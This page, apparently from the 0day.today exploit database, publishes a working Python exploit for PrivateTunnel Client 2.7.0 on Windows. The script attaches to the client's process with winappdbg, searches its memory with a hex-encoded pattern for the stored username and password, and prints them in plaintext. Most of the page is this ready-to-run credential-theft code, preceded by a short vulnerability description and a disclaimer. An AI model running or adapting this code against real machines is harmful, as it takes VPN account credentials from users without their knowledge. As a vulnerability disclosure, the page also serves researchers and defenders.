[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PrivateTunnel Client 2.7.0 (x64) - Local Credentials Disclosure

Author
Yakir Wizman
Risk
[
Security Risk High
]
0day-ID
0day-ID-24791
Category
local exploits
Date add
14-09-2016
Platform
windows
#####
# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage   @ https://www.privatetunnel.com
# Date 14/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
#####
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:
 
import time
import urllib
from winappdbg import Debug, Process
 
usr         = ''
pwd         = ''
found       = 0
filename    = "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "###########################################################################"
    print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
    print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t  #"
    print "#\t\tTested on Windows Windows 7 64bit, English\t\t  #"
    print "#\t\t\tPlease use responsibly.\t\t\t\t  #"
    print "###########################################################################\r\n"
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
         
        user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'
        for address in process.search_regexp(user_pattern):
            memory_dump.append(address)
         
        try:
            usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n', '')
            pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
        except:
            pass
        print ""
        if usr != '' and pwd !='':
            found = 1
            print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"
            print "[+] Username: %s" % usr
            print "[+] Password: %s" % pwd
        if found == 0:
            print "[-] Credentials not found!"
 
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()

#  0day.today [2024-11-16]  #